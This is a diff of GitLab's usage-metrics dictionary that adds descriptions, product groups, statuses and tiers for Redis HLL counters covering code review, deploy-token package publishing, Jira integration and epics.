@@ -8766,7 +8790,7 @@ Count of users with single file mode enabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8778,7 +8802,7 @@ Count of users with single file mode enabled
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8790,7 +8814,7 @@ Count of users with merge request view type as inline
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8802,7 +8826,7 @@ Count of users with merge request view type as inline
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8814,7 +8838,7 @@ Count of users with merge request view type as parallel
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8826,7 +8850,7 @@ Count of users with merge request view type as parallel
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8886,7 +8910,7 @@ Count of users with merge request file list setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8898,7 +8922,7 @@ Count of users with merge request file list setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8910,7 +8934,7 @@ Count of users with merge request file tree setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -8922,7 +8946,7 @@ Count of users with merge request file tree setting
Group: `group::code review`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9382,6 +9406,30 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_monthly`
+
+Count of unique users per week who load the conflict resolution page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_weekly`
+
+Count of unique users per week who load the conflict resolution page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `redis_hll_counters.code_review.i_code_review_user_marked_as_draft_monthly`
Count of unique users per month who mark a merge request as a draft
@@ -9598,6 +9646,30 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_monthly`
+
+Count of unique users per week who attempt to resolve a conflict through the ui
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_weekly`
+
+Count of unique users per week who attempt to resolve a conflict through the ui
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml)
+
+Group: `group::code review`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `redis_hll_counters.code_review.i_code_review_user_resolve_thread_monthly`
Count of unique users per month who resolve a thread in a merge request
@@ -10008,271 +10080,295 @@ Tiers:
### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly`
-Missing description
+A monthly count of packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_weekly`
-Missing description
+A weekly count of packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_monthly`
-Missing description
+A monthly count of Composer packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_weekly`
-Missing description
+A weekly count of Composer packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_monthly`
-Missing description
+A monthly count of Conan packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_weekly`
-Missing description
+A weekly count of Conan packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_monthly`
-Missing description
+A monthly count of container images published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_weekly`
-Missing description
+A weekly count of container images published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_monthly`
-Missing description
+A monthly count of Debian packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_weekly`
-Missing description
+A weekly count of Debian packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_monthly`
-Missing description
+A monthly count of generic packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `broken`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_weekly`
-Missing description
+A weekly count of generic packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_monthly`
-Missing description
+A monthly count of Go modules published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_weekly`
-Missing description
+A weekly count of Go modules published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_monthly`
+
+Distinct Helm pakages deployed in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_weekly`
+
+Distinct Helm pakages deployed in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_monthly`
-Missing description
+A monthly count of Maven packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_weekly`
-Missing description
+A weekly count of Maven packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_monthly`
-Missing description
+A monthly count of npm packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_weekly`
-Missing description
+A weekly count of npm packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_monthly`
-Missing description
+A monthly count of NuGet packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_weekly`
-Missing description
+A weekly count of NuGet packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_monthly`
-Missing description
+A monthly count of PyPI packages published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_weekly`
-Missing description
+A weekly count of Python packages published to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_monthly`
-Distinct user count events for RubyGems packages in recent 28 days
+Distinct count events for RubyGems packages published using a Deploy token in recent 28 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml)
@@ -10284,7 +10380,7 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_weekly`
-Distinct RubyGems pakages deployed in recent 7 days
+A weekly count of distinct RubyGems packages published using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml)
@@ -10296,27 +10392,27 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_monthly`
-Missing description
+A monthly count of package tags published to the registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_weekly`
-Missing description
+A weekly count of users that have published a package tag to the registry using a deploy token
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_monthly`
@@ -10326,7 +10422,7 @@ Number of distinct users authorized via deploy token creating Terraform Module p
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -10338,129 +10434,129 @@ Number of distinct users authorized via deploy token creating Terraform Module p
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_monthly`
-Missing description
+Number of users performing actions on Jira issues by month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_weekly`
-Missing description
+Number of users performing actions on Jira issues by week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_monthly`
-Missing description
+Number of users closing Jira issues by month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_weekly`
-Missing description
+Number of users closing Jira issues by week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_monthly`
-Missing description
+Number of users creating Jira issues by month
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_weekly`
-Missing description
+Number of users creating Jira issues by week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184951_i_ecosystem_jira_service_create_issue_weekly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_monthly`
-Missing description
+Number of users that cross-referenced Jira issues by month
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_weekly`
-Missing description
+Number of users that cross-referenced Jira issues by week
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_monthly`
-Missing description
+Count of Jira Issue List visits by month
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_weekly`
-Missing description
+Count of Jira Issue List visits by week
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184947_i_ecosystem_jira_service_list_issues_weekly.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_monthly`
@@ -10678,6 +10774,30 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507171840_epic_boards_usage_total_unique_counts_monthly.yml)
+
+Group: ``
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210507171838_epic_boards_usage_total_unique_counts_weekly.yml)
+
+Group: ``
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `redis_hll_counters.epic_boards_usage.g_project_management_users_creating_epic_boards_monthly`
Count of MAU creating epic boards
@@ -10686,7 +10806,7 @@ Count of MAU creating epic boards
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10698,7 +10818,7 @@ Count of WAU creating epic boards
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10710,7 +10830,7 @@ Count of MAU updating epic board names
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10722,7 +10842,7 @@ Count of WAU updating epic board names
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10734,7 +10854,7 @@ Count of MAU viewing epic boards
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10746,7 +10866,7 @@ Count of WAU viewing epic boards
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10758,7 +10878,7 @@ Total monthly users count for epics_usage
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10770,7 +10890,7 @@ Total weekly users count for epics_usage
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10782,7 +10902,7 @@ Counts of MAU closing epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10830,7 +10950,7 @@ Count of MAU cross referencing epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10842,7 +10962,7 @@ Counts of WAU cross referencing epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10854,7 +10974,7 @@ Count of MAU destroying epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10866,7 +10986,7 @@ Count of WAU destroying epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10878,7 +10998,7 @@ Count of MAU adding issues to epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10890,7 +11010,7 @@ Count of WAU adding issues to epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10902,7 +11022,7 @@ Counts of MAU moving epic issues between projects
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10914,7 +11034,7 @@ Counts of WAU moving epic issues between projects
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10926,7 +11046,7 @@ Count of MAU removing issues from epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10938,7 +11058,7 @@ Counts of WAU removing issues from epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10950,7 +11070,7 @@ Counts of MAU closing epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10962,7 +11082,7 @@ Counts of WAU re-opening epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10974,7 +11094,7 @@ Count of MAU chaging the epic lables
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10986,7 +11106,7 @@ Count of WAU chaging the epic lables
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -10998,7 +11118,7 @@ Count of MAU promoting issues to epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11010,7 +11130,7 @@ Counts of WAU promoting issues to epics
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11022,7 +11142,7 @@ Counts of MAU awarding emoji on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11034,7 +11154,7 @@ Counts of WAU awarding emoji on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11070,7 +11190,7 @@ Counts of MAU destroying epic notes
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11082,10 +11202,34 @@ Counts of WAU destroying epic notes
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
+### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_monthly`
+
+Number of users creating an issue from an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210608191652_g_project_management_users_epic_issue_added_from_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_weekly`
+
+Number of users creating an issue from an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210608191647_g_project_management_users_epic_issue_added_from_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`
+
### `redis_hll_counters.epics_usage.g_project_management_users_removing_epic_emoji_monthly`
Counts of MAU removing emoji on epic
@@ -11094,7 +11238,7 @@ Counts of MAU removing emoji on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11106,7 +11250,7 @@ Counts of WAU removing emoji on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11118,7 +11262,7 @@ Count of MAU making epics confidential
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11130,7 +11274,7 @@ Count of WAU making epics confidential
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11142,7 +11286,7 @@ Counts of MAU setting epic due date as inherited
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11154,7 +11298,7 @@ Counts of WAU setting epic due date as fixed
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11166,7 +11310,7 @@ Counts of MAU setting epic due date as inherited
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11178,7 +11322,7 @@ Counts of WAU setting epic due date as inherited
Group: `group::product planning`
